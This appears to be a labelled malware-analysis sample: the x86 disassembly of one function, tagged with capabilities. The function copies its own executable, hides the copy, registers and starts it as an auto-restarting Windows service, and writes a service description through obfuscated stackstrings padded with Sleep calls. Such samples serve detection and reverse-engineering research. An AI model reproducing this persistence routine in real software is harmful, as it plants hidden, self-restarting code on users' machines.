Function at 0x409c80
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e0a0
push 0x40ab22
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x390
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
call esi
push str.UnlockServiceDatabase
push str.ADVAPI32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x33c], eax
push str.OpenSCManagerA
push str.ADVAPI32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x334], eax
push ebx
call esi
mov byte [ebp - 0x328], bl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
call esi
push 0x104
lea eax, [ebp - 0x328]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x338], 0x25
mov byte [ebp - 0x337], 0x73
mov byte [ebp - 0x336], bl
push ebx
call esi
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x338]
push edx
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [ebp - 0x220]
push ecx
mov ecx, dword [0x410320]
call fcn.00401046
push eax
lea edx, [ebp - 0x328]
push edx
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x410320]
call fcn.00401050
test eax, eax
je 0x409df2
push ebx
call esi
lea ecx, [ebp - 0x220]
push ecx
call fcn.004010f5
add esp, 4
push ebx
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push ebx
call esi
lea ecx, [ebp - 0x220]
push ecx
call fcn.0040104b
add esp, 4
push ebx
call esi
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x328]
rep stosd dword es:[edi], eax
push ebx
call esi
lea edx, [ebp - 0x220]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x410320]
call fcn.004010e6
push 2
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp byte [0x40f980], 1
je 0x40a170
push 0x1388
call esi
mov dword [ebp - 0x224], ebx
xor edi, edi
mov dword [ebp - 0x330], edi
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x334]
mov dword [ebp - 0x32c], eax
push ebx
call esi
mov eax, dword [ebp - 0x32c]
cmp eax, ebx
je 0x40a164
push ebx
push ebx
push ebx
push ebx
push ebx
lea edx, [ebp - 0x328]
push edx
push ebx
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
push ebx
call esi
mov eax, dword [ebp - 0x32c]
push eax
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x340], ecx
lea edx, [ebp - 0x340]
push edx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x394], ebx
xor eax, eax
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], eax
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x390], ebx
mov dword [ebp - 0x394], 0x15180
push ebx
call esi
mov dword [ebp - 0x354], 0x1b58
mov dword [ebp - 0x358], 1
push ebx
call esi
mov dword [ebp - 0x34c], ebx
mov eax, 1
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x344], ebx
mov dword [ebp - 0x348], eax
push ebx
call esi
mov dword [ebp - 0x388], 3
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x38c], ebx
push ebx
call esi
lea edx, [ebp - 0x394]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov eax, dword [ebp - 0x380]
push eax
call dword [ebp - 0x33c]
push ebx
call esi
cmp edi, ebx
jne 0x409f92
push ebx
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x409f92
push ebx
call esi
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x32c]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
mov dword [ebp - 0x330], edi
push ebx
call esi
cmp edi, ebx
je 0x40a164
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
call esi
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40a164
mov al, 0x53
mov byte [ebp - 0x37c], al
mov byte [ebp - 0x37b], 0x59
mov byte [ebp - 0x37a], al
mov byte [ebp - 0x379], 0x54
mov byte [ebp - 0x378], 0x45
mov byte [ebp - 0x377], 0x4d
mov cl, 0x5c
mov byte [ebp - 0x376], cl
mov dl, 0x43
mov byte [ebp - 0x375], dl
mov byte [ebp - 0x374], 0x75
mov byte [ebp - 0x373], 0x72
mov byte [ebp - 0x372], 0x72
mov byte [ebp - 0x371], 0x65
mov byte [ebp - 0x370], 0x6e
mov byte [ebp - 0x36f], 0x74
mov byte [ebp - 0x36e], dl
mov byte [ebp - 0x36d], 0x6f
mov byte [ebp - 0x36c], 0x6e
mov byte [ebp - 0x36b], 0x74
mov byte [ebp - 0x36a], 0x72
mov byte [ebp - 0x369], 0x6f
mov byte [ebp - 0x368], 0x6c
mov byte [ebp - 0x367], al
mov byte [ebp - 0x366], 0x65
mov byte [ebp - 0x365], 0x74
mov byte [ebp - 0x364], cl
mov byte [ebp - 0x363], al
mov byte [ebp - 0x362], 0x65
mov byte [ebp - 0x361], 0x72
mov byte [ebp - 0x360], 0x76
mov byte [ebp - 0x35f], 0x69
mov byte [ebp - 0x35e], 0x63
mov byte [ebp - 0x35d], 0x65
mov byte [ebp - 0x35c], 0x73
mov byte [ebp - 0x35b], cl
mov byte [ebp - 0x35a], bl
push ebx
call esi
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0x11c]
push ecx
mov ecx, dword [0x410320]
call fcn.004010e6
push ebx
call esi
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x410320]
call fcn.0040119f
push ebx
call esi
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x3a0], 0x44
mov byte [ebp - 0x39f], 0x65
mov byte [ebp - 0x39e], 0x73
mov byte [ebp - 0x39d], 0x63
mov byte [ebp - 0x39c], 0x72
mov byte [ebp - 0x39b], 0x69
mov byte [ebp - 0x39a], 0x70
mov byte [ebp - 0x399], 0x74
mov byte [ebp - 0x398], 0x69
mov byte [ebp - 0x397], 0x6f
mov byte [ebp - 0x396], 0x6e
mov byte [ebp - 0x395], bl
push ebx
call esi
mov eax, dword [ebp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
push 1
push ebx
lea edx, [ebp - 0x3a0]
push edx
mov eax, dword [ebp - 0x224]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.0040a18f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret